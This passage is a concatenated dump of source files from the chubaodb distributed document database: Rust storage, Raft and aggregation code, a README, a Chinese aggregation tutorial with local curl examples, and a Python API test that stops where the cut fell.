"is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 9807, "license_type": "permissive", "max_line_length": 127, "num_lines": 294, "path": "/src/master/meta/repository.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::util::coding::*;\nuse crate::util::config::Config;\nuse crate::util::entity::{entity_key, MakeKey};\nuse crate::util::error::*;\nuse crate::util::time::*;\nuse crate::*;\nuse log::error;\nuse rocksdb::{Direction, IteratorMode, WriteBatch, WriteOptions, DB};\nuse serde::{de::DeserializeOwned, Serialize};\n\nuse std::path::Path;\nuse std::sync::Arc;\nuse std::sync::{Mutex, RwLock};\n\npub struct HARepository {\n partition_lock: Mutex<u32>,\n lock: Mutex<u32>,\n write_lock: RwLock<u32>,\n db: Arc<DB>,\n}\n\nimpl HARepository {\n /// Init method\n pub fn new(conf: Arc<Config>) -> ASResult<HARepository> {\n let path = Path::new(&conf.self_master().unwrap().data)\n .join(Path::new(\"meta\"))\n .join(Path::new(\"db\"));\n\n let path_dir = path.to_str().unwrap();\n let mut option = rocksdb::Options::default();\n option.set_wal_dir(path.join(\"wal\").to_str().unwrap());\n option.create_if_missing(true);\n\n Ok(HARepository {\n partition_lock: Mutex::new(1),\n lock: Mutex::new(1),\n write_lock: RwLock::new(1),\n db: Arc::new(DB::open(&option, path_dir)?),\n })\n }\n\n //to add a lock by master key is key str, value is u64(timeout_mill) + addr\n pub fn lock(&self, key: &str, ttl_mill: u64) -> ASResult<String> {\n let _lock = self.lock.lock().unwrap();\n\n let key = entity_key::lock(key);\n\n if let Some(value) = self.db.get(key.as_bytes())? {\n let time_out = slice_u64(&value);\n if current_millis() >= time_out {\n return result!(Code::ParamError, \"has already lockd\");\n }\n }\n\n let lease = uuid::Uuid::new_v4().to_string();\n\n let mut batch = WriteBatch::default();\n\n let mut value = Vec::new();\n value.extend((current_millis() + ttl_mill).to_be_bytes().to_vec());\n value.extend(lease.as_bytes());\n\n batch.put(key.as_bytes(), value.as_slice());\n let mut write_options = WriteOptions::default();\n write_options.disable_wal(false);\n write_options.set_sync(true);\n conver(self.db.write_opt(batch, &write_options))?;\n\n Ok(lease)\n }\n\n //The contract lock\n pub fn lock_keep_alive(&self, key: &str, lease: &str, ttl_mill: u64) -> ASResult<()> {\n let _lock = self.lock.lock().unwrap();\n\n let key = entity_key::lock(key);\n\n match self.db.get(key.as_bytes())? {\n Some(v) => {\n let time_out = slice_u64(&v);\n if String::from_utf8_lossy(&v[8..]) != lease {\n return result!(Code::LockedLeaseExpried, \"lease not locked for key\");\n }\n\n if current_millis() >= time_out {\n return result!(Code::LockedLeaseExpried, \"lease is expried\");\n }\n }\n None => return result!(Code::LockedLeaseExpried, \"not locked for key\"),\n };\n\n let mut batch = WriteBatch::default();\n\n let mut value = Vec::new();\n value.extend((current_millis() + ttl_mill).to_be_bytes().to_vec());\n value.extend(lease.as_bytes());\n\n batch.put(key.as_bytes(), value.as_slice());\n self.do_write_batch(batch)\n }\n\n pub fn unlock(&self, key: &str, lease: &str) -> ASResult<()> {\n let _lock = self.lock.lock().unwrap();\n\n let key = entity_key::lock(key);\n\n match self.db.get(key.as_bytes())? {\n Some(v) => {\n if String::from_utf8_lossy(&v[8..]) != lease {\n return result!(Code::LockedLeaseExpried, \"lease not locked for key\");\n }\n }\n None => return result!(Code::LockedLeaseExpried, \"not locked for key\"),\n };\n let mut batch = WriteBatch::default();\n batch.delete(key);\n self.do_write_batch(batch)\n }\n\n pub fn create<T: Serialize + MakeKey>(&self, value: &T) -> ASResult<()> {\n let key = value.make_key();\n let key = key.as_str();\n let _lock = self.write_lock.write().unwrap();\n match self.do_get(key) {\n Ok(_) => return result!(Code::AlreadyExists, \"the key:{} already exists\", key),\n Err(e) => {\n if e.code() != Code::RocksDBNotFound {\n return Err(e);\n }\n }\n };\n self.do_put_json(key, value)\n }\n\n pub fn put<T: Serialize + MakeKey>(&self, value: &T) -> ASResult<()> {\n let key = value.make_key();\n let _lock = self.write_lock.read().unwrap();\n self.do_put_json(key.as_str(), value)\n }\n\n pub fn put_batch<T: Serialize + MakeKey>(&self, values: &Vec<T>) -> ASResult<()> {\n let _lock = self.write_lock.read().unwrap();\n let mut kvs: Vec<(String, &T)> = vec![];\n for value in values {\n kvs.push((value.make_key(), value));\n }\n self.do_put_jsons(kvs)\n }\n\n pub fn put_kv(&self, key: &str, value: &[u8]) -> ASResult<()> {\n let _lock = self.write_lock.read().unwrap();\n self.do_put(key, value)\n }\n\n pub fn get<T: DeserializeOwned>(&self, key: &str) -> ASResult<T> {\n let value = self.do_get(key)?;\n conver(serde_json::from_slice(value.as_slice()))\n }\n\n pub fn get_kv(&self, key: &str) -> ASResult<Vec<u8>> {\n self.do_get(key)\n }\n\n pub fn delete<T: Serialize + MakeKey>(&self, value: &T) -> ASResult<()> {\n let key = value.make_key();\n let _lock = self.write_lock.read().unwrap();\n let mut batch = WriteBatch::default();\n batch.delete(key.as_bytes());\n self.do_write_batch(batch)\n }\n\n pub fn delete_keys(&self, keys: Vec<String>) -> ASResult<()> {\n let _lock = self.write_lock.read().unwrap();\n let mut batch = WriteBatch::default();\n for key in keys {\n batch.delete(key.as_bytes());\n }\n self.do_write_batch(batch)\n }\n\n /// do put json\n fn do_put_json<T: Serialize>(&self, key: &str, value: &T) -> ASResult<()> {\n match serde_json::to_vec(value) {\n Ok(v) => self.do_put(key, v.as_slice()),\n Err(e) => result_def!(\"cast to json bytes err:{}\", e.to_string()),\n }\n }\n\n /// do put json\n fn do_put_jsons<T: Serialize>(&self, kvs: Vec<(String, &T)>) -> ASResult<()> {\n let mut batch = WriteBatch::default();\n\n for kv in kvs {\n match serde_json::to_vec(kv.1) {\n Ok(v) => batch.put(kv.0.as_bytes(), v.as_slice()),\n Err(e) => return result_def!(\"cast to json bytes err:{}\", e.to_string()),\n }\n }\n\n self.do_write_batch(batch)\n }\n\n //do put with bytes\n fn do_put(&self, key: &str, value: &[u8]) -> ASResult<()> {\n let mut batch = WriteBatch::default();\n batch.put(key.as_bytes(), value);\n self.do_write_batch(batch)\n }\n\n /// do get\n fn do_get(&self, key: &str) -> ASResult<Vec<u8>> {\n if key.len() == 0 {\n return result!(Code::ParamError, \"key is empty\");\n }\n\n match self.db.get(key.as_bytes()) {\n Ok(ov) => match ov {\n Some(v) => Ok(v),\n None => result!(Code::RocksDBNotFound, \"key:[{}] not found!\", key,),\n },\n Err(e) => result_def!(\"get key:{} has err:{}\", key, e.to_string()),\n }\n }\n\n pub fn list<T: DeserializeOwned>(&self, prefix: &str) -> ASResult<Vec<T>> {\n let list = self.do_prefix_list(prefix)?;\n let mut result = Vec::with_capacity(list.len());\n for (_, v) in list {\n match serde_json::from_slice(v.as_slice()) {\n Ok(t) => result.push(t),\n Err(e) => {\n error!(\"deserialize value to json has err:{:?}\", e);\n }\n }\n }\n Ok(result)\n }\n\n fn do_prefix_list(&self, prefix: &str) -> ASResult<Vec<(Vec<u8>, Vec<u8>)>> {\n let mut result = vec![];\n let iter = self\n .db\n .iterator(IteratorMode::From(prefix.as_bytes(), Direction::Forward)); // From a key in Direction::{forward,reverse}\n for (k, v) in iter {\n let k_str = String::from_utf8(k.to_vec()).unwrap();\n if !k_str.starts_with(prefix) {\n break;\n }\n result.push((k.to_vec(), v.to_vec()));\n }\n Ok(result)\n }\n\n /// do write\n fn do_write_batch(&self, batch: WriteBatch) -> ASResult<()> {\n let mut write_options = WriteOptions::default();\n write_options.disable_wal(false);\n write_options.set_sync(true);\n conver(self.db.write_opt(batch, &write_options))\n }\n\n pub fn increase_id(&self, key: &str) -> ASResult<u32> {\n let _lock = self.partition_lock.lock().unwrap();\n\n let key = entity_key::lock(key);\n let key = key.as_str();\n\n let value = match self.do_get(key) {\n Err(e) => {\n if e.code() != Code::RocksDBNotFound {\n return Err(e);\n }\n 1\n }\n Ok(v) => slice_u32(&v.as_slice()) + 1,\n };\n\n self.do_put(key, &u32_slice(value)[..])?;\n Ok(value)\n }\n}\n" }, { "alpha_fraction": 0.6556914448738098, "alphanum_fraction": 0.663217306137085, "avg_line_length": 34.655174255371094, "blob_id": "1f9d896c656be5e901615d7f01b1e22bda929b49", "content_id": "0e1a2e5c6ebad878403e673e4cf8f949e442144f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 1063, "license_type": "permissive", "max_line_length": 70, "num_lines": 29, "path": "/build.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\r\n//\r\n// Licensed under the Apache License, Version 2.0 (the \"License\");\r\n// you may not use this file except in compliance with the License.\r\n// You may obtain a copy of the License at\r\n//\r\n// http://www.apache.org/licenses/LICENSE-2.0\r\n//\r\n// Unless required by applicable law or agreed to in writing, software\r\n// distributed under the License is distributed on an \"AS IS\" BASIS,\r\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\r\n// implied. See the License for the specific language governing\r\n// permissions and limitations under the License.\r\nuse std::path::Path;\r\nfn main() {\r\n let proto = \"proto/pserverpb.proto\";\r\n\r\n let proto_path: &Path = proto.as_ref();\r\n\r\n // directory the main .proto file resides in\r\n let proto_dir = proto_path\r\n .parent()\r\n .expect(\"proto file should reside in a directory\");\r\n\r\n tonic_build::configure()\r\n .type_attribute(\".\", \"#[derive(serde_derive::Serialize)]\")\r\n .compile(&[proto_path], &[proto_dir])\r\n .unwrap();\r\n}\r\n" }, { "alpha_fraction": 0.7737642526626587, "alphanum_fraction": 0.7747148275375366, "avg_line_length": 21.826086044311523, "blob_id": "18c726d4652a211e5a08317d907dc0a53b2eee8a", "content_id": "772d5387a5478977e8dfb1e2a2182a4adfc55bcf", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1052, "license_type": "permissive", "max_line_length": 301, "num_lines": 46, "path": "/README.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# chubaodb\n\nChubaoDB is a cloud native distributed document database on top of ChubaoFS. \n\nAs a scalable non-relational structured data infrastructure, ChubaoDB has several key features:\n\n* flexible data model\n\n* disaggregated storage and compute architecture\n\n* rich indexes for efficient search\n\n\n\n## External Interface\n\ncollection, document, field\n\ndockey -> document, dockey = (hashkey:string, sortkey:string), hash key (also called partition key) is used for data partitioning, and sort key (not necessary and can be empty) is used for data ordering - all documents with the same hashkey value are stored together, in sorted order by sortkey value.\n\nfields that are defined in the schema are indexed for fast search. \n\ndocument API: Create, Update, Upsert, Delete, Overwrite, Get, Search, Count, ...\n\n\n## Architecture\n\nmaster, partition server, router\n\norchestracted by Kubernetes\n\nChubaoFS (replicated across three AZs) works as the underlying storage infrastructure\n\n\n## Licence\n\nApache 2\n\n\n## Acknowledgments\n\n* jimraft\n\n* rocksdb\n\n* tantivy\n\n\n" }, { "alpha_fraction": 0.5510126352310181, "alphanum_fraction": 0.6782575249671936, "avg_line_length": 19.614173889160156, "blob_id": "9dde9842e7b3593f68e0cf4fb32dbc5741b5761f", "content_id": "a2c89c176b1b1b0cfea9e030606f99d730b1b9f6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3449, "license_type": "permissive", "max_line_length": 76, "num_lines": 127, "path": "/docs/zh-CN/src/aggregation.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# 聚合那些事儿\n\n下面我们来介绍一下chubaodb的聚合功能,在这之前,你确信已经通过[库表管理](*./collection.md*)创建了表。\n\n我们先插入一些测试数据吧,先创建5个人\n\n````\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"张三\",\n\t\"age\": 20,\n\t\"birthday\": \"2000-02-02\",\n\t\"description\": \"zhangsan can use java good at php, but python not good at\",\n\t\"skills\": [\"java\", \"php\", \"python\"]\n}\n' \"http://127.0.0.1:8080/put/person/1\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"李四\",\n\t\"age\": 30,\n\t\"birthday\": \"1990-02-02\",\n\t\"description\": \"lisi can use java ,only java\",\n\t\"skills\": [\"java\"]\n}\n' \"http://127.0.0.1:8080/put/person/2\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"王五\",\n\t\"age\": 20,\n\t\"birthday\": \"2000-03-20\",\n\t\"description\": \"wangwu is c++ rust good at!\",\n\t\"skills\": [\"c++\", \"rust\"]\n}\n' \"http://127.0.0.1:8080/put/person/3\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"牛六\",\n\t\"age\": 35,\n\t\"birthday\": \"1985-12-02\",\n\t\"description\": \"niuliu age too old\",\n\t\"skills\": [\"java\", \"golang\", \"python\", \"rust\"]\n}\n' \"http://127.0.0.1:8080/put/person/4\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"赵七\",\n\t\"age\": 18,\n\t\"birthday\": \"2002-03-12\",\n\t\"description\": \"is a web user, he can use ruby and php\",\n\t\"skills\": [\"php\", \"ruby\"]\n}\n' \"http://127.0.0.1:8080/put/person/5\"\n````\n\n\n\n插入完成后,我们通过search接口可以查看到这五个人 `http://127.0.0.1:8080/search/person`\n\n\n\n我们先了解下聚合的真谛。 我们从一句大家都熟悉的sql 入手吧\n\n`select age,count(age) from person group by age`\n\n这个聚合函数可以堪称两个部分。分别是 `group by ` 分组,和 `count(*)` 指标连个部分。所以聚合份两种,一个是分组,一个和统计。\n\nok,现在让我们看看在`chubaodb`中这两部分是如何完成的。我们通过一个例子入手\n\n`http://127.0.0.1:8080/agg/person?group=term(age)&fun=stats(age)`\n\n* agg 是方法的操作\n* group= 是聚合方法。例子中我们用的term 方式进行分组。\n* fun = 是指标方法。例子中我们统计 max ,min 等\n\n![image-20200715135803824](image/image-20200715135803824.png)\n\n\n\n好的恭喜你已经看到结果了。默认是按照value中的count 进行排序\n\n\n\n### 目前group 支持的方法有\n\n`term(name)` 按照字段进行聚合\n\n`date(name,format)` example: date(birthday, yyyy-MM) 按照时间格式进行聚合\n\n`range(name, range_str)` example:*range(age,-0,0-20,20-30,30-40,40-)*\n\n\n\n### Fun 支持的方法有\n\n`hits(size)`:每个分组中返回size个文档,无排序功能\n\n`stats(name)`: 每个分组中,count max, min , sum missing 的个数\n\n* fun 可以为空,如果为空则默认为count方式\n\n\n\n现在让我们自举一些例子:\n\n### 按照年龄分组,分别显示每个年龄中的人\n\n ![image-20200715140655966](image/image-20200715140655966.png)\n\n### 照技能分组,显示每个技能的人数\n\n`http://127.0.0.1:8080/agg/person?group=term(skills)`\n\n![image-20200715140812082](image/image-20200715140812082.png)\n\n### 按照技能分组,显示每个技能的人数,按照技能名称排序\n\n`http://127.0.0.1:8080/agg/person?group=term(skills)&sort=key:asc`\n\n![image-20200715140902639](image/image-20200715140902639.png)\n\n### 按照年龄和技能分组查看人数\n\n![image-20200715141018443](image/image-20200715141018443.png)" }, { "alpha_fraction": 0.565858781337738, "alphanum_fraction": 0.5852476358413696, "avg_line_length": 22.3743839263916, "blob_id": "0ef5b2b4cbb8afca8629ce809e91f0e67fe3e507", "content_id": "9fc3fc6163a35bc04bef88ca6a536ba38ecb2660", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 4745, "license_type": "permissive", "max_line_length": 88, "num_lines": 203, "path": "/src/pserver/raft/mod.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::client::meta_client::MetaClient;\nuse crate::pserver::service::PartitionService;\nuse crate::pserver::simba::simba::Simba;\nuse crate::util::error::ASError;\nuse crate::util::{coding::*, config, entity::*};\nuse async_std::task;\nuse log::error;\nuse raft4rs::{entity::Config, error::*, state_machine::*};\nuse std::sync::Arc;\n\npub struct NodeStateMachine {\n\tsimba: Option<Arc<Simba>>,\n\tcollection: Arc<Collection>,\n\tpartition: Arc<Partition>,\n\tps: Arc<PartitionService>,\n}\n\nimpl NodeStateMachine {\n\tpub fn new(\n\t\tsimba: Option<Arc<Simba>>,\n\t\tcollection: Arc<Collection>,\n\t\tpartition: Arc<Partition>,\n\t\tps: Arc<PartitionService>,\n\t) -> NodeStateMachine {\n\t\tif simba.is_some() {\n\t\t\tsimba.as_ref().unwrap().arc_count();\n\t\t};\n\t\tNodeStateMachine {\n\t\t\tsimba,\n\t\t\tcollection,\n\t\t\tpartition,\n\t\t\tps,\n\t\t}\n\t}\n}\n\nimpl StateMachine for NodeStateMachine {\n\tfn apply_log(&self, _term: u64, index: u64, command: &[u8]) -> RaftResult<()> {\n\t\tif let Some(simba) = &self.simba {\n\t\t\tmatch simba.do_write(index, command, false) {\n\t\t\t\tErr(ASError::Error(c, m)) => Err(RaftError::ErrCode(c as i32, m)),\n\t\t\t\t_ => Ok(()),\n\t\t\t}\n\t\t} else {\n\t\t\tOk(())\n\t\t}\n\t}\n\n\tfn apply_member_change(\n\t\t&self,\n\t\t_term: u64,\n\t\t_index: u64,\n\t\t_node_id: u64,\n\t\t_action: u8,\n\t\t_exists: bool,\n\t) -> RaftResult<()> {\n\t\tpanic!()\n\t}\n\n\tfn apply_leader_change(&self, _term: u64, _index: u64, leader: u64) -> RaftResult<()> {\n\t\tif let Err(e) = task::block_on(self.ps.apply_leader_change(\n\t\t\t&self.collection,\n\t\t\t&self.partition,\n\t\t\tleader,\n\t\t)) {\n\t\t\terror!(\"apply leader change has err:{}\", e);\n\t\t\treturn Err(RaftError::ErrCode(e.code() as i32, e.message()));\n\t\t};\n\t\tOk(())\n\t}\n}\n\npub struct NodeResolver {\n\tmeta_client: Arc<MetaClient>,\n}\n\nimpl NodeResolver {\n\tpub fn new(meta_client: Arc<MetaClient>) -> Self {\n\t\tSelf {\n\t\t\tmeta_client: meta_client,\n\t\t}\n\t}\n}\n\nimpl Resolver for NodeResolver {\n\tfn heartbeat_addr(&self, node_id: &u64) -> RaftResult<String> {\n\t\ttask::block_on(self.meta_client.get_server_addr_by_id(*node_id))\n\t\t\t.map_err(|e| RaftError::Error(e.to_string()))\n\t}\n\n\tfn log_addr(&self, node_id: &u64) -> RaftResult<String> {\n\t\ttask::block_on(self.meta_client.get_server_addr_by_id(*node_id))\n\t\t\t.map_err(|e| RaftError::Error(e.to_string()))\n\t}\n}\n\npub fn make_raft_conf(node_id: u64, conf: &Arc<config::Config>) -> Config {\n\tlet r = &conf.ps.raft;\n\tConfig {\n\t\tnode_id: node_id,\n\t\theartbeat_port: r.heartbeat_port,\n\t\treplicate_port: r.replicate_port,\n\t\tlog_path: std::path::Path::new(&conf.ps.data)\n\t\t\t.join(\"raft\")\n\t\t\t.to_str()\n\t\t\t.unwrap()\n\t\t\t.to_string(),\n\t\tlog_max_num: r.log_max_num,\n\t\tlog_min_num: r.log_min_num,\n\t\tlog_file_size_mb: r.log_file_size_mb,\n\t\theartbeate_ms: r.heartbeate_ms,\n\t}\n}\n\n//event for data coding encoding\n#[derive(PartialEq, Copy, Clone)]\npub enum EventType {\n\tDelete = 0,\n\tCreate = 1,\n\tUpdate = 2,\n}\n\npub enum Event {\n\t//key+ old_id+ 0\n\tDelete(Vec<u8>, Vec<u8>),\n\t//value+ key + len(key)+1\n\tCreate(Vec<u8>, Vec<u8>),\n\t//value + key + len(k) + iid + 2\n\tUpdate(Vec<u8>, Vec<u8>, Vec<u8>),\n}\n\nimpl Event {\n\tpub fn encode(self: Event) -> Vec<u8> {\n\t\tmatch self {\n\t\t\tEvent::Delete(iid, mut k) => {\n\t\t\t\tlet need_len = k.len() + iid.len() + 1;\n\t\t\t\tif k.capacity() < need_len {\n\t\t\t\t\tk.reserve(need_len - k.capacity());\n\t\t\t\t}\n\t\t\t\tk.extend_from_slice(&iid);\n\t\t\t\tk.push(EventType::Delete as u8);\n\t\t\t\tk\n\t\t\t}\n\t\t\tEvent::Create(k, mut v) => {\n\t\t\t\tlet need_len = v.len() + k.len() + 3;\n\t\t\t\tif v.capacity() < need_len {\n\t\t\t\t\tv.reserve(need_len - v.capacity());\n\t\t\t\t}\n\t\t\t\tv.extend_from_slice(&k);\n\t\t\t\tv.extend_from_slice(&u16_slice(k.len() as u16)[..]);\n\t\t\t\tv.push(EventType::Create as u8);\n\t\t\t\tv\n\t\t\t}\n\t\t\tEvent::Update(iid, k, mut v) => {\n\t\t\t\tlet need_len = v.len() + k.len() + 7;\n\t\t\t\tif v.capacity() < need_len {\n\t\t\t\t\tv.reserve(need_len - v.capacity());\n\t\t\t\t}\n\t\t\t\tv.extend_from_slice(&k);\n\t\t\t\tv.extend_from_slice(&u16_slice(k.len() as u16)[..]);\n\t\t\t\tv.extend_from_slice(&iid);\n\t\t\t\tv.push(EventType::Update as u8);\n\t\t\t\tv\n\t\t\t}\n\t\t}\n\t}\n\n\t//iid key value\n\tpub fn decode<'a>(data: &'a [u8]) -> (EventType, u32, &'a [u8], &'a [u8]) {\n\t\tlet empty: &'static [u8] = &[0];\n\t\t//key+ old_id+ 0\n\t\t//value+ key + len(key)+1\n\t\t//value + key + len(k) + iid + 2\n\t\tlet len = data.len() - 1;\n\t\tmatch data[len] {\n\t\t\t0 => (\n\t\t\t\tEventType::Delete,\n\t\t\t\tslice_u32(&data[len - 4..len]),\n\t\t\t\t&data[..len - 4],\n\t\t\t\tempty,\n\t\t\t),\n\t\t\t1 => {\n\t\t\t\tlet key_len = slice_u16(&data[len - 2..len]) as usize;\n\t\t\t\t(\n\t\t\t\t\tEventType::Create,\n\t\t\t\t\t0,\n\t\t\t\t\t&data[len - 2 - key_len..len - 2],\n\t\t\t\t\t&data[..len - 2 - key_len],\n\t\t\t\t)\n\t\t\t}\n\t\t\t2 => {\n\t\t\t\tlet key_len = slice_u16(&data[len - 6..len - 4]) as usize;\n\t\t\t\t(\n\t\t\t\t\tEventType::Update,\n\t\t\t\t\tslice_u32(&data[len - 4..len]),\n\t\t\t\t\t&data[len - key_len - 6..len - 6],\n\t\t\t\t\t&data[..len - key_len - 6],\n\t\t\t\t)\n\t\t\t}\n\t\t\t_ => panic!(\"decode has err type:{}\", data[len]),\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.5184029936790466, "alphanum_fraction": 0.5202744603157043, "avg_line_length": 25.71666717529297, "blob_id": "f670739929445dd613c8821a8e9cd57b69274567", "content_id": "56136913e2710c3a5060cf9bc605d2cfc11df7ab", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 3206, "license_type": "permissive", "max_line_length": 97, "num_lines": 120, "path": "/src/pserver/simba/engine/tantivy/aggregation_collector.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::pserver::simba::aggregation::Aggregator;\nuse std::sync::{Arc, RwLock};\nuse tantivy::{\n collector::Collector, collector::SegmentCollector, fastfield::BytesFastFieldReader,\n schema::Field, DocId, Score, SegmentLocalId, SegmentReader,\n};\n\n#[derive(Default)]\npub struct Aggregation {\n linker: String,\n agg: Arc<RwLock<Aggregator>>,\n group_fields: Vec<Field>,\n fun_fields: Vec<Field>,\n}\n\nimpl Aggregation {\n pub fn new(\n linker: &str,\n agg: Arc<RwLock<Aggregator>>,\n group_fields: Vec<Field>,\n fun_fields: Vec<Field>,\n ) -> Aggregation {\n Self {\n linker: linker.to_string(),\n agg,\n group_fields,\n fun_fields,\n }\n }\n}\n\nimpl Collector for Aggregation {\n type Fruit = ();\n\n type Child = SegmentAggregationCollector;\n\n fn for_segment(\n &self,\n _: SegmentLocalId,\n sr: &SegmentReader,\n ) -> tantivy::Result<SegmentAggregationCollector> {\n Ok(SegmentAggregationCollector {\n linker: self.linker.clone(),\n agg: self.agg.clone(),\n groups: self\n .group_fields\n .iter()\n .map(|f| sr.fast_fields().bytes(*f).unwrap())\n .collect(),\n funs: self\n .fun_fields\n .iter()\n .map(|f| sr.fast_fields().bytes(*f).unwrap())\n .collect(),\n })\n }\n\n fn requires_scoring(&self) -> bool {\n false\n }\n\n fn merge_fruits(&self, _: Vec<()>) -> tantivy::Result<()> {\n Ok(())\n }\n}\n\npub struct SegmentAggregationCollector {\n linker: String,\n agg: Arc<RwLock<Aggregator>>,\n groups: Vec<BytesFastFieldReader>,\n funs: Vec<BytesFastFieldReader>,\n}\n\nimpl SegmentCollector for SegmentAggregationCollector {\n type Fruit = ();\n\n fn collect(&mut self, doc_id: DocId, _: Score) {\n let mut values = Vec::with_capacity(self.funs.len());\n for r in self.funs.iter() {\n values.push(r.get_bytes(doc_id));\n }\n self._collect(Vec::with_capacity(self.groups.len()), doc_id, 0, &values);\n }\n\n fn harvest(self) -> Self::Fruit {\n ()\n }\n}\n\nimpl SegmentAggregationCollector {\n fn _collect(&self, mut path: Vec<String>, doc_id: DocId, index: usize, values: &Vec<&[u8]>) {\n if index >= self.groups.len() {\n let path = path.join(self.linker.as_str());\n if let Err(e) = self.agg.write().unwrap().map(path.as_str(), values) {\n log::error!(\"{:?}\", e);\n };\n return;\n };\n\n //TODO: if it panic???\n let keys = self.agg.read().unwrap().groups[index]\n .coding(self.groups[index].get_bytes(doc_id))\n .unwrap();\n\n if keys.len() == 0 {\n return;\n }\n\n if keys.len() == 1 {\n path.push(keys.into_iter().next().unwrap());\n self._collect(path, doc_id, index + 1, values);\n } else {\n for key in keys {\n let mut path = path.clone();\n path.push(key);\n self._collect(path, doc_id, index + 1, values);\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.5169329047203064, "alphanum_fraction": 0.5587859153747559, "avg_line_length": 34.977012634277344, "blob_id": "1eab55a1e75b9ce847fd6416aec1a0e435244ef5", "content_id": "7ca3432b2c86d74105f8b0d3260d7d3ccfbc0ebf", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6260, "license_type": "permissive", "max_line_length": 115, "num_lines": 174, "path": "/test/sort_test.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "import pytest\nimport requests\nimport json\nimport random\nimport config\nimport time\n\n\ndef test_del_collection():\n url = \"http://\" + config.MASTER + \"/collection/delete/t1\"\n response = requests.delete(url)\n print(\"collection_delete---\\n\" + response.text)\n\n assert response.status_code == 200 or response.status_code == 555\n\n\ndef test_create_collection():\n url = \"http://\" + config.MASTER + \"/collection/create\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": \"t1\",\n \"partition_num\": 1,\n \"partition_replica_num\": 1,\n \"fields\": [\n {\"string\": {\"name\": \"name\", \"array\": True, \"value\": True}},\n {\"float\": {\"name\": \"price\", \"value\": True}},\n {\"int\": {\"name\": \"age\", \"value\": True}},\n {\"text\": {\"name\": \"content\", \"value\": True}},\n {\"date\": {\"name\": \"birthday\", \"value\": True, \"format\": \"%Y-%m-%d\"}}\n ]\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n time.sleep(5) # TODO: FIX ME wait raft ok\n\n\ndef test_put():\n url = \"http://\" + config.ROUTER + \"/put/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 35,\n \"content\": \"hello tig\",\n \"price\": 12.5,\n \"birthday\": \"2016-06-07\",\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n url = \"http://\" + config.ROUTER + \"/put/t1/2\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj1\", \"sun\"],\n \"age\": 36,\n \"content\": \"hello tig1\",\n \"price\": 20.12,\n \"birthday\": \"2016-07-07\",\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n url = \"http://\" + config.ROUTER + \"/put/t1/3\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj2\", \"sun\"],\n \"age\": 37,\n \"content\": \"hello tig11\",\n \"price\": 50.12,\n \"birthday\": \"2016-08-07\",\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n url = \"http://\" + config.ROUTER + \"/put/t1/4\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj4\", \"sun\"],\n \"age\": 33,\n \"content\": \"hello tig11\",\n \"price\": 100.0,\n \"birthday\": \"2016-06-08\",\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n url = \"http://\" + config.ROUTER + \"/put/t1/5\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansjs4\", \"sun\"],\n \"age\": 80,\n \"content\": \"hello tig11x\",\n \"price\": 100.0,\n \"birthday\": \"2016-06-17\",\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n url = \"http://\" + 